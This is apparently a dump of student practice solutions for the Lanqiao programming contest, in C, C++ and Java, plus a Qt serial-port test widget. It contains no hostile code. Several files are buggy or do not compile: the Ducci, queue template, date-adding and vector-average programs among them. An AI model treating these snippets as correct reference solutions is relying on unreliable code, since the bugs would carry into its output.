if (b1 != a4 && b1 != a3 && b1 != a2 && b1 != a1) /*不能相同
for (b2 = 1; b2 <= 8; b2++)
if (b2 != b1 && b2 != a4 && b2 != a3 && b2 != a2 && b2 != a1)
for (b3 = 1; b3 <= 8; b3++)
if (b3 != b2 && b3 != b1 && b3 != a4 && b3 != a3 && b3 != a2 && b3 != a1)
/*不能取相同的数
for (b4 = 1; b4 <= 8; b4++)
if (b4 != b2 && b4 != b1 && b4 != b3 && b4 != a4 && b4 != a3 && b4 != a2 && b4 != a1)
if (a[b1] + a[b2] + a[b3] + a[b4] == ii / 2
&& a[a1] + a[a2] + a[b1] + a[b2] == ii / 2
&& a[a1] + a[a4] + a[b1] + a[b4] == ii / 2)
{
flag = 1; goto out; /*满足条件则将flag置1后退出
}
out:
if (flag)
{
printf("They can be constructed required cube as follow:\n");
printf(" /%2d............/%2d\n", a[a4], a[a3]);
printf(" %2d/............%2d/|\n", a[a1], a[a2]);
printf(" | | | |\n");
printf(" | | | |\n");
printf(" | %2d| | |%2d\n", a[b4], a[b3]);
printf(" /................/\n");
printf(" %2d/.............%2d/\n", a[b1], a[b2]);
}
else printf("Sorry they can't be constructed required cube!\n");
}
*/
<file_sep>/2020备战蓝桥/刘震/第十二次作业/12.3卡片游戏.cpp
/*习题---5-3卡片游戏(UVa10935)
给定n张卡片,按照1-n的顺序编号,然后拿出一张卡片扔掉,拿出一张卡片放到最后,重复该操作直到只剩1张卡片。
求扔掉的卡片序列和最后剩的卡片的编号。*/
//方法一:
//思路:因为牌的序号时1-n,没有0,可以用一指针从第一张依次指向下面一张,丢掉的牌置为0,然后跳过一张牌,指到最后一张牌后,
//再把指针指向的位置移到最上面的一张牌上
#include<iostream>
using namespace std;
const int sumTry = 50;//题干中也没有说最多能玩几次,暂且定位最多玩50次。
const int maxn = 50; //题干中没有说每次的牌数上限,暂且定上限为50张。
/*
//先玩一把试试
int main()
{
int i, j = 0, k, cnt = 0;
int n = 7; //比如说一共有18把张牌
int bol[7] = {0};
for (i = 0;;i++)
{
if (i == 7)i = 0;
if (bol[i])
continue;
if (j % 2 == 0)
{
bol[i] = 1;
cnt++;
cout << i + 1 << " ";
}
if (cnt == n)
{
//cout <<"就是你了:"<< i+1 << endl;
break;
}
j++;
}
system("pause");
return 0;
}*/
//再来处理全部数据
int main()
{
int eachSumCard[sumTry];
int i, j, k = 0, n, cntt = 0; //n用来记录一共要进行多少盘抽牌游戏,cnt表示每盘一共抽掉了多少张牌
int bol[maxn] = { 0 };
for (i = 0;; i++)
{
cin >> eachSumCard[i];
if (eachSumCard[i] == 0)
break;
}
n = i ; //说明要玩i次游戏
/*for (i = 0; i < n; i++)
cout << eachSumCard[i] << " ";*/
for (i = 0; i < n; i++)
{
//bol[j]代表第第j+1张牌,1代表抽掉了,0代表还未抽掉。开始的时候都没有抽掉。
for (j = 0; j <= eachSumCard[i]; j++)
bol[j] = 0;
k = 0; //k就是那个指针
cntt = 0; //新的一局一张牌还没有抽掉。
cout << "Discarded cards:";
for (j = 0;; j++)
{
if (j == eachSumCard[i]) j = 0;
if (bol[j])
continue;
if (k % 2 == 0)
{
bol[j] = 1;
cntt++; //抽牌的数目+1
if (cntt != eachSumCard[i]) //把这张牌抽掉
if(cntt+1==eachSumCard[i])
cout << j + 1; //输出格式要求
else cout << j + 1 << ",";
}
if (cntt == eachSumCard[i]) //如果抽掉的牌数等于这一盘的总牌数,那么这就是剩下的最后一张牌。
{
cout << endl << "Remaining card:" << j + 1 << endl;
break;
}
k++;
}
}
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/柳俊/第十次作业/10-6.cpp
#include<stdio.h>
int sum,final;
int f(int n)
{
for(int i=2;i<=n/2;i++)
if(n%i==0)
return 0;
return 1;
}
void g(int n[300],int i)
{
if(final<1898){
final+=n[i];
g(n,i+1);
}
else if(final==1898)
{
sum++;
final=0;
return;
}
else{
final=0;
return;
}
}
int main()
{
int num[300]={2,},l=0,k=1,_num[300];
for(int i=3;i<=1993;i++)
if(f(i)){
num[k]=i;
k++;
}
for(int i=0;i<k-1;i++){
_num[i]=num[i+1]-num[i];
l++;
}
for(int i=0;i<l;i++)
g(_num,i);
printf("%d",sum);
return 0;
}
<file_sep>/2020备战蓝桥/郑越/第十次作业/校验码问题.cpp
//
// main.c
// 校验码
//
// Created by Richard.ZHENG on 2019/12/13.
// Copyright © 2019 Richard.ZHENG. All rights reserved.
//
#include <stdio.h>
int check_Code(char s[]){
int i,j=1,code,sum=0;
for(i=0;i<11;i++)//0-0000-0000-0
{
if(i!=1&&i!=6)
{
sum=sum+(s[i]-'0')*j;
j++;
}
}
if(sum%11==10)
code='X'-'0';
else
code=sum%11;
if(code==s[12]-'0')
return 1;
else
return 0;
}
int main()
{
char s[13];
gets(s);
int check_Code(char s[]);
if(check_Code(s))
printf("ISBN有效\n");
else
printf("ISBN无效\n");
}
<file_sep>/2020备战蓝桥/曾琳/9-6.cpp
#include<iostream>
#include<string>
using namespace std;
struct FenShu
{
int Fenzi;
int FenMu;
char Chuhao;
};
int divisor(int a, int b)//辗转相除法求最大公约数
{
int temp = 0;
if (a < b)
{
temp = a; a = b; b = temp;
}
while (b != 0)
{
temp = a % b;
a = b;
b = temp;
}
return (a);
}
int gcd1(int a, int b, int c)//求最小公倍数
{
return (a*b) / c;
}
void Simplify(int a, int b, int n)//结果约分
{
cout << "最终结果为:" << a / n << "/" << b / n << endl;
}
void Sum(int n, FenShu *t, int gbs)
{
int FenZi = 0, FenMu = 0;
int Beishu1;
for (int i = 0; i < n; i++)
{
Beishu1 = gbs / (t->FenMu);
FenZi = FenZi + (t->Fenzi)*Beishu1;
t++;
}
FenMu = gbs;
int a = divisor(FenZi, FenMu);//辗转相除法求最大公约数 //存最大公约数
Simplify(FenZi, FenMu, a); //结果约分
}
int main()
{
int n, gbs = 0, c = 0;
cout << "input the size:\n";
cin >> n;
if (n <= 1)
{
cout << "error!" << endl;
}
FenShu L[10] = { 0 };
FenShu *t;
t = L;
for (int i = 0; i < n; i++)
{
cout << "第" << i + 1 << "个分数为:";
cin >> L[i].Fenzi;
cin >> L[i].Chuhao;
cin >> L[i].FenMu;
}
c = divisor(L[0].FenMu, L[1].FenMu);
gbs = gcd1(L[0].FenMu, L[1].FenMu, c);
Sum(n, t, gbs);
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/张谦煜/9-4/src/Main.java
import java.util.*;
public class Main {
static int f(int n)
{
if(n==1)
return 1;
else if(n==2)
return 2;
return 2*f(n-1)+f(n-2);
}
public static void main(String[] args) {
int peak;
Scanner in = new Scanner(System.in);
peak=in.nextInt();
ArrayList<Integer> results = new ArrayList<Integer>();
while(peak--!=0)
{
results.add(f(in.nextInt()));
}
for(int item:results)
{
System.out.println(item);
}
}
}
<file_sep>/2020备战蓝桥/张宇菲/将二进制字符串转为16进制输出.cpp
#include<stdio.h>
#include<stdlib.h>
int char_to_num(char ch);
char num_to_char(int num);
long yuan_to_decimal(char temp[]);
void decimal_to_bian(char temp[],long decimal_num);
int main()
{
char temp[200];
// int flag=1;
long decimal_num;
scanf("%s",temp);
decimal_num=yuan_to_decimal(temp);
decimal_to_bian(temp,decimal_num);
return 0;
}
int char_to_num(char ch)
{
if(ch>='0'&&ch<='9')
return ch-'0';
else
return ch-'A'+10;
}
char num_to_char(int num)
{
if(num>=0&&num<=9)
return (char)('0'+num-0);
else
return (char)('A'+num-10);
}
long yuan_to_decimal(char temp[])
{
long decimal_num=0;
int i,length;
for(i=0;temp[i]!='\0';i++)
length=i;
for(i=0;i<=length;i++)
decimal_num=(decimal_num*2)+char_to_num(temp[i]);
return decimal_num;
}
void decimal_to_bian(char temp[],long decimal_num)
{
int i=0,length;
while(decimal_num)
{
temp[i]=num_to_char(decimal_num%16);
decimal_num=decimal_num/16;
i++;
}
length=i;
for(i=length-1;i>=0;i--)
printf("%c",temp[i]);
}
<file_sep>/2020备战蓝桥/黄杨/第十三次作业/7.cpp
//7.家庭问题
//借鉴加以修改完成
#include<iostream>
using namespace std;
#define N 101
int father[N];
int a[N];
int Find(int x){
if(father[x]==x)
return x;
return father[x]=Find(father[x]);
}
void Union(int x,int y){
int f1=Find(x);
int f2=Find(y);
if(f1!=f2)
father[f2]=f1;
}
int main(){
int n,k;//n为总人数,k为关系总数
cin>>n>>k;
for(int i=1;i<=n;i++)//对人进行赋值,分别赋值为1, 2,3...n
father[i]=i;
for(i=1;i<=k;i++){//对关系进行输入
int x,y;
cin>>x>>y;
Union(x,y);
}
for(i=1;i<=n;i++)
a[Find(i)]++;
int cnt_1=0,cnt_2=0;
for(i=1;i<=n;i++)
if(father[i]==i)
cnt_1++;
for(i=1;i<=n;i++)
if(a[i]>cnt_2)
cnt_2=a[i];
cout<<cnt_1<<" "<<cnt_2<<endl;
return 0;
}
<file_sep>/Resistance/serial.cpp
#include "serial.h"
Serial::Serial(QObject *parent) : QObject(parent)
{
}
<file_sep>/2020备战蓝桥/刘诗雨-/第九次作业/9.2.cpp
#include <iostream>
#include<string.h>
#include<math.h>
using namespace std;
void print(int am)
{
if(am<10)
cout<<am;
else if(am==10)
cout<<'A';
else if(am==11)
cout<<'B';
else if(am==12)
cout<<'C';
else if(am==13)
cout<<'D';
else if(am==14)
cout<<'E';
else if(am==15)
cout<<'F';
}
int main() {
char two[100];
cin>>two;
int sum,i,j,am=0;
sum=strlen(two);
int *two1=new int[sum];
for(i=0;i<sum;i++)
{
two1[i]=two[i]-'0';
}
int k1=0;
if(sum%4==0)
{
for(i=0;i<sum/4;i++)
{
for(j=0;j<4;j++)
{
am=am+two1[k1+j]*(pow(2,3-j));
}
print(am);
k1=k1+4;
am=0;
}
}
else
{
int bm=0;
int nm=4-sum%4;
//cout<<nm;
int *two2=new int[sum+nm];
for(i=0;i<nm;i++){
two2[i]=0;
}
for(i=0;i<sum;i++)
{
two2[nm+i]=two1[i];
}
sum=sum+nm;
int k2=0;
for(i=0;i<sum/4;i++)
{
for(j=0;j<4;j++)
{
bm=bm+two2[k2+j]*(pow(2,3-j));
}
print(bm);
k2=k2+4;
bm=0;
}
}
//cout<<sum;
return 0;
}
<file_sep>/2020备战蓝桥/刘震/第十二次作业/12.1代码对齐.cpp
/*
输入若干行代码,要求各列单词的左边界对齐且尽量靠左。单词之间至少要空一格。每个单词
不超过80个字符,每行不超过180个字符,一共最多1000行。注意输出时每行的最后一列后面没
有空格符。
*/
//输入的时候是一个单词一个单词输入的,而且每个单词之间至少有一个空格,然后每一行最后有一个回车。
//因为最多不超过1000,每行最多不超过180个字符,那就定义一个string[1000];
//然后找出第一列最长的单词,第二列最长的单词..然后再用insert或则erase函数就OK了。
//因为题干没有说输入到什么时候截止,就暂且当输入#的时候结束
#include<iostream>
#include<string>
#include<cmath>
using namespace std;
string s[1000];
int r[90] = { 0 };//以最坏的情况就算每一行的单词都只有一个字母
//先测试一行的数据,记录每个单词的长度
/*int main()
{
int i,len,ju,k=0;
string ss;
getline(cin, ss);
cout << ss <<" "<<ss.size() <<endl;
for (i = 0; i <= ss.size();)
{
//先找空格,找到一个记录其位置
len = ss.find(' ', i);
if (len == -1) //表示后后面已经没有单词了
{
if (ss.size() - i > r[k])
r[k++] = ss.size() - i ;
break;
}
if (len - i > r[k]) //两个空格之间的长度就是单词的长度+1
{
r[k++] = len - i;
}
i += len - i + 1;
}
cout << r[0] << " " << r[1] << " " << r[2] << endl;
system("pause");
return 0;
}
*/
//把一行的数据给规范化
/*
int main()
{
int a[4] = { 7,8,9,10 },len,k=0;
string st("aa aaa aaaa aaa a ");
cout << st << endl;
//先把每一行最后面的空格给删掉
len = st.find_last_not_of(' ');
st.erase(len + 1, st.size() - len - 1);
for (int j = 0; j <= st.size();)
{
len = st.find(' ', j);
//如果查找到最有一个单词
if (len == -1)
{
break;
}
//如果没有查找到最后一个单词
if (len == j) //说明两个单词之间有多的空格,此时要把多余的空格删掉
{
st.erase(j, 1);
}
if (len != j) //说明两个单词之间只有一个空格,不用再删空格
{
st.insert(len, a[k] - len + j + 1, '#');
//此时j的位置也要变动,变动到这一列最长的位置 //比如aaa为第一列,这列最长为4,那么j=4,
j += a[k++] + 1;
}
}
cout << st << endl;*/
//再来对于全部数据
int main()
{
int i = 0, j = 0, k = 0, len = 0, t, ju;
//先输入数据
for (i = 0;;i++)
{
getline(cin,s[i]);
if (*(s[i].end() - 1) == '#')
{
t = i + 1;
break;
}
}
//再找出每一列最长的单词
for (i = 0; i < t; i++)
{
//cout << s[i] << endl;
k = 0;
for (j = 0; j <= s[i].size();)
{
//先找空格,找到一个记录其位置
len = s[i].find(' ', j);
if (len == -1) //表示后后面已经没有单词了
{
if (s[i].size() - j > r[k])
r[k] = s[i].size() - j;
//cout << k << " " << endl;
break;
}
if (len - j > r[k]) //两个空格之间的长度就是单词的长度+1
{
r[k] = len - j;
//cout << k << " ";
}
if (len != j)
k++;
j += len - j + 1;
}
}
/*for (i = 0; i < 6; i++) //保存每一列最长的单词的长度
cout << r[i] << " ";
cout << endl;*/
//现在找出了每列最长的那个单词。然后再检查每一行单词每一列单词与自身列数最长的那个单词比较,
//比如先找出第一行的第一个单词与第一列最长的单词长度进行比较,然后填
for (i = 0; i < t; i++)
{
k = 0;
//先把每一行最后面的空格给删掉,不然后面的程序会报错
len = s[i].find_last_not_of(' '); //从最后一个字符倒着查找出第一个不是空格的索引
s[i].erase(len + 1, s[i].size() - len - 1); //把最后一个单词后面的空格趣步删掉
for (int j = 0; j <= s[i].size();)
{
//每一行的从头开始查
len = s[i].find(' ', j);
//如果查找到最后一个单词时,因为前面把最后的空格删除,所以会返回-1
if (len == -1)
break;
//如果两个单词之间有多个空格
if (len == j)
s[i].erase(j, 1);
//如果两个单词之间只有一个空格,不用再删空格
if (len != j)
{
s[i].insert(len, r[k] - len + j + 1, ' ');
//此时j的位置也要变动,变动到这一列最长的位置 //比如aaa为第一列,这列最长为4,那么j=4,
j += r[k++] + 1;
}
}
}
//打印
for (i = 0; i < t; i++)
cout << s[i] << endl;
system("pause");
return 0;
}<file_sep>/2020备战蓝桥/王浩杰/第十一次作业/11.11.cpp
#include<iostream>
#include<cstdio>
#include<conio.h>
#include<string>
using namespace std;
char a[100];
int main()
{
int i;
char c;
for (i = 0; i < 100; i++)
{
c = _getch();
if (c == '\r')break;
cout << c;
if ((c == 90) || (c == 122))
{
a[i] = c - 25;
}
else if ((64 < c < 90) || (96 < c < 122))
{
a[i] = c + 1;
}
else
{
a[i] = c;
}
}
cout << endl;
cout << a<<endl;
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/曾琳/9-5.cpp
#include<iostream>
using namespace std;
int Apple(int x, int y)
{
if (x == 0|| y == 1)
{
return 1;
}
if (x < y)
return Apple(x, x);
else if(x>=y)
return Apple(x, y - 1) + Apple(x - y, y);
}
int main()
{
cout << "请输入测试数据的数目:\n";
int n, x, y;
cin >> n;
while (n)
{
cout << "请输入数据:\n";
cin >> x >> y;
cout << "共有"<<Apple(x, y) << "种方案" << endl;
n--;
}
cout << endl;
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/谢上信/12week/2.cpp
#include<iostream>
#include<string.h>
#include<stdio.h>
using namespace std;
void Ducci(int x[100],int y,int z)
{
int b[y], c;
for (int i = 0; i < y-1; i++)
{
c = x[i] - x[i + 1];
if (c < 0)
c = -c;
b[i] = c;
}
c = x[y] - x[1];
if (c < 0)
c = -c;
b[y] = c;
for(int i=0;i<100;i++)
{
if(b[i]!=0&&z<1000)
{
z+1;
Ducci(b,y,z);
i=0;
}
else if(z>=1000)
{
cout<<"LOOP";
break;
}
else
{
cout<<"ZEROLOOP";
break;
}
}
}
int main()
{
int a[100],d,e=0;
for (int i = 0; i < 100; i++)
{
cin >> a[i];
d = i;
if (a[i] < 0)
break;
}
Ducci(a,d,e);
return 0;
}
<file_sep>/2020备战蓝桥/刘震/第十次作业/10.1校验码问题 .cpp
/*校验码问题*/
/*思路:构造一个函数来判断是否为有效的校验码,*/
#include<iostream>
using namespace std;
const int N = 13; //0-0000-0000-0
//ISBN存放的位置
char code[N];
//校验函数
int CheckCode(char str[]);
int main()
{
cin >> code;
if (CheckCode(code))
cout << "正确";
else
cout << "错误";
getchar();
getchar();
return 0;
}
int CheckCode(char str[])
{
int i, j, sum = 0;
for (i = 0, j = 0; i < N - 1; i++)
{
if (i != 1 && i != 6 && i != 11)
sum += (str[i] - '0')*(++j);
}
if (sum % 11 == /*(int)*/(str[N - 1] - '0')) //校验位在0-9时
return 1;
else if (str[N - 1] == 'X' || str[N - 1] == 'x') //如果余数不在0-9,那么再判断是不是X
return 1;
else
return 0;
}<file_sep>/2020备战蓝桥/曾琳/第十次作业/10-7.cpp
/*#include<cstring>
#include<cstdio>
#include<cmath>
#include<algorithm>
int ans, sum;
int a[5][5];
int vis[17];
void dfs(int step)
{
int x = step / 4;
int y = step % 4;
if (step >= 16)
{
ans++;
int s = 0, ok = 0;
for (int i = 0; i < 4; i++)
{
s = 0;
for (int j = 0; j < 4; j++)
s = s + a[j][i];
if (s != 34)
{
ok = 1;
return;
}
}
s = a[3][0] + a[3][1] + a[3][2] + a[3][3];
if (s != 34)
return;
s = a[0][0] + a[1][1] + a[2][2] + a[3][3];
if (s != 34)
return;
s = a[3][0] + a[2][1] + a[1][2] + a[0][3];
if (s != 34)
return;
if (!ok)
{
sum++;
// for(int i=0; i<4; i++)
// {
// for(int j=0; j<4; j++)
// {
// printf("%d ",a[i][j]);
// }
// printf("\n");
// }
// printf("\n");
}
return;
}
else if (step == 4)
{
if (a[0][0] + a[0][1] + a[0][2] + a[0][3] != 34)
return;
}
else if (step == 8)
{
if (a[1][0] + a[1][1] + a[1][2] + a[1][3] != 34)
return;
}
else if (step == 12)
{
if (a[2][0] + a[2][1] + a[2][2] + a[2][3] != 34)
return;
}
for (int i = 2; i <= 16; i++)
{
if (!vis[i])
{
a[x][y] = i;
vis[i] = 1;
dfs(step + 1);
vis[i] = 0;
}
}
}
int main()
{
sum = 0;
a[0][0] = 1;
dfs(1);
printf("%d\n", sum);
return 0;
}
*/
<file_sep>/2020备战蓝桥/王浩杰/第十次作业/10.14.cpp
#include<iostream>
#include<cstdio>
#include<conio.h>
#include<string>
using namespace std;
void f()
{
int n, k,a,b;
cin >> n >> k;
while (1)
{
cin >> a;
n = n - a;
if (n <= 1)
{
cout << "玩家失败" << "**********************************************************************************"<<endl;
break;
}
b = rand() % k + 1;
cout << endl << b;
n = n - b;
if (n <= 1)
{
cout << "玩家胜利" << "**********************************************************************************" << endl;
break;
}
}
}
int main()
{
int n=0,a=0;
while (1)
{
n++;
f();
cout << "1.进行下一局" << endl << "2.退出" << endl;
cin >> a;
if (a == 2)break;
}
cout << endl <<"共进行"<< n<<"局" << endl;
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/刘燚杰/十一次作业/11-1.cpp
#include<iostream>
#include<cstring>
using namespace std;
string str;
int sum1 = 0; //大写字母
int sum2 = 0;//小写字母
int sum3 = 0;//数字
int sum4 = 0;//空格
int sum5 = 0;//其他
void T1(int n)
{
if(str[n] >= 'A' && str[n] <= 'Z')
sum1++;
else if(str[n] >= 'a' && str[n] <= 'z')
sum2++;
else if(str[n] >= '0' && str[n] <= '9')
sum3++;
else if(str[n] == ' ')
sum4++;
else
sum5++;
if(n > 0)
T1(n-1);
else
{
cout<<"DX:"<<sum1<<endl;
cout<<"XX:"<<sum2<<endl;
cout<<"Number:"<<sum3<<endl;
cout<<"Blank:"<<sum4<<endl;
cout<<"Others:"<<sum5<<endl;
}
}
int main()
{
cout<<"please enter a string:"<<endl;
//cin>>str;
getline(cin,str);//cin在输入遇到空格时结束
int len = str.length();
T1(len-1);
return 0;
}
<file_sep>/2020备战蓝桥/朱力/第12次作业/12.6.cpp
#include<stdio.h>
#include<iostream>
#include <vector>
#include<algorithm>
using namespace std;
int main()
{
int middle;
vector<int> x;
int a,b;
int zu,n;
int sumx=0;
cin>>zu;
while(zu){
cin>>n;
while(n){
cin>>a>>b;
sumx=sumx+a;
x.push_back(a);
n--;
}
middle=sumx/n;
if(find(x.begin(),x.end(),middle))
zu--;
}
//算出平均值,按照大小排序,然后在vector里面首尾一一对应取平均值,看是否的关于
//总体均值相等;
}
<file_sep>/2020备战蓝桥/黄杨/第十三次作业/1.cpp
#include <iostream>
#include <assert.h>
using namespace std;
const int maxSize = 50;
template<class T>
class Queue{
public:
Queue(){};
~Queue(){};
virtual void EnQueue(const T&x) = 0;
virtual bool DeQueue(T& x) = 0;
virtual bool getFront(T& x) = 0;
virtual bool IsEmpty()const = 0;
virtual bool Isfull()const = 0;
virtual int getSize()const = 0;
};
template<class T>
class SeqQueue:public Queue<T>{
public:
SeqQueue(int sz = 10);
~SeqQueue(){delete[] elements};
bool EnQueue(const T& x);
bool DeQueue(T& x);
bool getFront(T& x);
void makeEmpty(){front = rear = 0;}
bool IsEmpty()const{
return (front == rear) ? true:false;
}
bool IsFull()const{
return ((rear+1)%maxSize == front) ? true:false;
}
int getSize()const{
return (rear-front+maxSize)%maxSize;
}
friend ostream& operator<<(ostream& os, SeqQueue<T>& Q);
protected:
int rear, front;
T* elements;
int maxSize;
};
//构造函数:建立一个最大具有maxSize个元素的空队列
template<class T>
SeqQueue<T>::SeqQueue(int sz):front(0), rear(0),maxSize(sz){
elements = new T[maxSize];
assert(elements != NULL);
};
//SeqList<T>::SeqList(int sz)
//入队函数:若队列不满,则将元素x插入到该队列的对尾,否则出错处理
template <class T>
bool SeqQueue<T>::EnQueue(const T& x){
if(IsFull() == true)
return false;
elements[rear] = x;
rear = (rear+1)%maxSize;
return true;
};
//出队函数:若队列不空则函数退掉一个队头并返回true,否则函数返回false
template<class T>
bool SeqQueue<T>::DeQueue(T& x){
if(IsEmpty() == true)
return false;
x = elements[front];
front = (front+1)%maxSize;
return true;
};
//若队列不空则函数返回该队列对头元素的值
template<class T>
bool SeqQueue<T>::getFront(T& x){
if(IsEmpty() == true)
return false;
x = elements[front];
return true;
};
//重载<<:输出队中元素的重载操作<<
template<class T>
ostream& operator<<(ostream& os, SeqQueue<T>& Q){
os<<"front="<<Q.front<<",rear="<<Q.rear<<endl;
for(int i=front; i != rear; (i+1)%maxSize;)
os<<i<<":"<<Q.elements[i]<<endl;
return os;
};
template <class T>
class Deque: public Queue<T>{
public:
virtual bool getHead(T& x)const = 0;
virtual bool getTail(T& x)const = 0;
virtual bool EnQueue(const T& x);
virtual bool EnQueueHead(const T& x) = 0;
virtual bool EnQueueTail(const T& x) = 0;
virtual bool DeQueue(T& x);
virtual bool DeQueueHead(T& x) = 0;
virtual bool DeQueueTail(T& x) = 0;
};
template<class T>
bool Deque<T>::EnQueue(const T& x){
return EnQueueTail(x);
};
template<class T>
bool Deque<T>::DeQueue(T& x){
T temp;
bool tag = DeQueueHead(temp);
x = temp;
return tag;
};
template <class T>
class SeqDeque:public Deque<T>, public SeqQueue<T>{
public:
SeqDeque(int sz);
};
template <class T>
bool SeqDeque<T>::getHead(T& x)const{
T temp;
bool tag = SeqQueue<T>::getFront(temp);
x = temp;
return tag;
};
template <class T>
bool SeqDeque<T>::EnQueueTail(const T& x){
return SeqQueue<T>::EnQueue(x);
};
template <class T>
bool SeqDeque<T>::DeQueueHead(T& x){
T temp;
bool tag = SeqQueue<T>::DeQueue(temp);
x = temp;
return tag;
};
template <class T>
bool SeqDeque<T>::getTail(T& x)const{
if(front == rear)
return false;
x = elements[(rear-1+masSize)%maxSize];
return true;
};
template <class T>
bool SeqDeque<T>::EnQueueHead(const T& x){
if((rear+1)% maxSize == front)
return false;
x = elements[(rear-1+maxSize)%maxSize];
return true;
};
template <class T>
bool SeqDeque<T>::DeQueueTail(T& x){
if(front == rear)
return false;
rear = (rear-1+maxSize)%maxSize;
x = elements[rear];
return true;
};
<file_sep>/Resistance/test.cpp
#include "test.h"
#include "ui_test.h"
Test::Test(QWidget *parent) :
QWidget(parent),
ui(new Ui::Test)
{
ui->setupUi(this);
// 获取有用或者闲置端口,并且添加到串口选择下拉框
findSerial();
// 初始化串口,设置波特率,停止位...
initSerials();
connect(&serial,&QSerialPort::readyRead,this,&Test::readData);
}
Test::~Test()
{
delete ui;
}
// 查找计算机可用串口
void Test::findSerial()
{
foreach(const QSerialPortInfo &info,QSerialPortInfo::availablePorts())
{
QSerialPort tempSerial;
tempSerial.setPort(info);
if(tempSerial.open(QIODevice::ReadWrite))
{
ui->comboBox_serialSelect->addItem(tempSerial.portName());
tempSerial.close();
}
}
}
void Test::initSerials()
{
// serial.open(QIODevice::ReadWrite);
// 设置串口名
ui->comboBox_serialSelect->currentText();
// 设置波特率
serial.setBaudRate(ui->comboBox_baudRate->currentText().toInt());
// 设置停止位
serial.setStopBits(QSerialPort::OneStop);
// 设置数据位
serial.setDataBits(QSerialPort::Data8);
// 设置校验位
serial.setParity(QSerialPort::NoParity);
// 设置流控制
serial.setFlowControl(QSerialPort::NoFlowControl);
// 把串口打开设为默认
ui->checkBox_openSerial->setCheckState(Qt::Checked);
}
// 如果串口当前选择端口名改变,串口端口名设置为改变后的值
void Test::on_comboBox_serialSelect_currentIndexChanged(int index)
{
serial.setPortName(ui->comboBox_serialSelect->currentText());
}
// 如果串口当前选择波特率改变,串口波特率设置为改变后的值
void Test::on_comboBox_baudRate_currentIndexChanged(int index)
{
serial.setBaudRate(ui->comboBox_baudRate->currentText().toInt());
}
// 如果串口当前选择停止位位改变,串口停止位设置为改变后的值
void Test::on_comboBox_stopBits_currentIndexChanged(int index)
{
switch(index)
{
case 0:
serial.setStopBits(QSerialPort::OneStop); break;
case 1:
serial.setStopBits(QSerialPort::OneAndHalfStop); break;
case 2:
serial.setStopBits(QSerialPort::TwoStop); break;
}
}
// 如果串口当前选择数据位改变,串口数据位设置为改变后的值
void Test::on_comboBox_dataBits_currentIndexChanged(int index)
{
switch(index)
{
case 0:
serial.setDataBits(QSerialPort::Data8); break;
case 1:
serial.setDataBits(QSerialPort::Data7); break;
case 2:
serial.setDataBits(QSerialPort::Data6); break;
case 3:
serial.setDataBits(QSerialPort::Data5); break;
}
}
// 如果串口当前选择校验位改变,串口校验位设置为改变后的值
void Test::on_comboBox_parity_currentIndexChanged(int index)
{
switch(index)
{
case 0:
serial.setParity(QSerialPort::NoParity); break;
case 1:
serial.setParity(QSerialPort::EvenParity); break;
case 2:
serial.setParity(QSerialPort::OddParity); break;
}
}
// 利用复选框控制串口的打开还是关闭
void Test::on_checkBox_openSerial_stateChanged(int arg1)
{
switch(arg1)
{
case Qt::Unchecked:
serial.close();
break;
case Qt::Checked:
if(!serial.open(QIODevice::ReadWrite))
QMessageBox::warning(this, "Error", "串口未打开或者被占用!");
break;
}
}
// 切换端口
void Test::on_comboBox_serialSelect_currentTextChanged(const QString &arg1)
{
serial.close();
serial.setPortName(arg1);
if(ui->checkBox_openSerial->checkState() == Qt::Checked)
if(!serial.open(QIODevice::ReadWrite))
QMessageBox::warning(this, "Error", "串口未打开或者被占用!");
}
// 发送
void Test::on_pushButton_send_clicked()
{
serial.write(ui->plainTextEdit_singleSend->toPlainText().toLatin1());
}
// 清除发送区
void Test::on_pushButton_clearSend_clicked()
{
ui->plainTextEdit_singleSend->clear();
}
// 接受数据
void Test::readData()
{
dataRead.clear();
QByteArray buf;
buf = serial.readAll();
if(!buf.isEmpty())
{
ui->plainTextEdit_receiveDisplay->appendPlainText(buf);
dataRead = buf;
}
buf.clear();
}
// 清除接收区
void Test::on_pushButton_clearReceive_clicked()
{
ui->plainTextEdit_receiveDisplay->clear();
}
/****************************************主窗口专用***************************************************/
// 主窗口调用发送数据
void Test::mainWinWrite(QByteArray data)
{
serial.write(data);
}
// 主窗口调用接收数据
QByteArray Test::mainWinRead()
{
QByteArray temp = dataRead;
dataRead.clear();
return temp;
}
// 主窗口用于判断串口是否打开
bool Test::isSerialOpen()
{
if(ui->checkBox_openSerial->checkState() == Qt::Checked) // 如果checkBox被选中,证明打开了串口
return true;
else
return false;
}
<file_sep>/2020备战蓝桥/张谦煜/10-1/src/Main.java
import java.util.*;
public class Main {
static boolean f(String a)
{
String news= a.replace("-", "");
int right =news.charAt(news.length()-1)-'0';
news=news.substring(0,news.length()-1);
int add=1;
int tmp=0;
for(char i:news.toCharArray())
{
tmp+=(i-'0')*add++;
}
return right==tmp%11?true:false;
}
public static void main(String[] args) {
Scanner in = new Scanner(System.in);
if(f(in.nextLine()))
System.out.println("真");
else
System.out.println("假");
}
}
<file_sep>/2020备战蓝桥/吕经浪/第九次作业/9.2.cpp
#include<stdio.h>
#include<string.h>
using namespace std;
int main()
{
char s1[101], s2[101], s3[] = { '0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};
int num = 0, len, i, j, k = 1;
scanf("%s", s1);
len = strlen(s1);
for (i = 0; i < len; i++)
{
num = num + k * s1[len - 1 - i];
k = k * 2;
}
i = 0;
while (num != 0)
{
s2[i] = s3[num % 16];
num = num / 16;
i++;
}
for (j = i - 1; j >= 0; j--)
printf("%c", s2[j]);
printf("\n");
return 0;
}
<file_sep>/2020备战蓝桥/张谦煜/10-5.c
#include <stdio.h>
int mouthlen[]={0,31,28,31,30,31,30,31,31,30,31,30,31};
typedef struct
{
int year;
int mouth;
int day;
}Date;
int isSpecialYear(const Date* date)
{
if((date->year%100==0&&date->year%400==0)||(date->year%100!=0&&date->year%4==0))
{
return 1;
}
else
{
return 0;
}
}
void AddDay(Date* date,int add)
{
int addition = isSpecialYear(date)&&date->mouth==2?1:0;
if(date->day+add>mouthlen[date->mouth]+addition)
{
date->day=add-(mouthlen[date->mouth]+addition-date->day);
AddMouth(date);
}
else
{
date->day+=add;
}
}
void AddMouth(Date* date)
{
if(date->mouth==12)
{
date->year++;
date->mouth=1;
}
else
{
date->mouth++;
}
}
int main()
{
Date start;
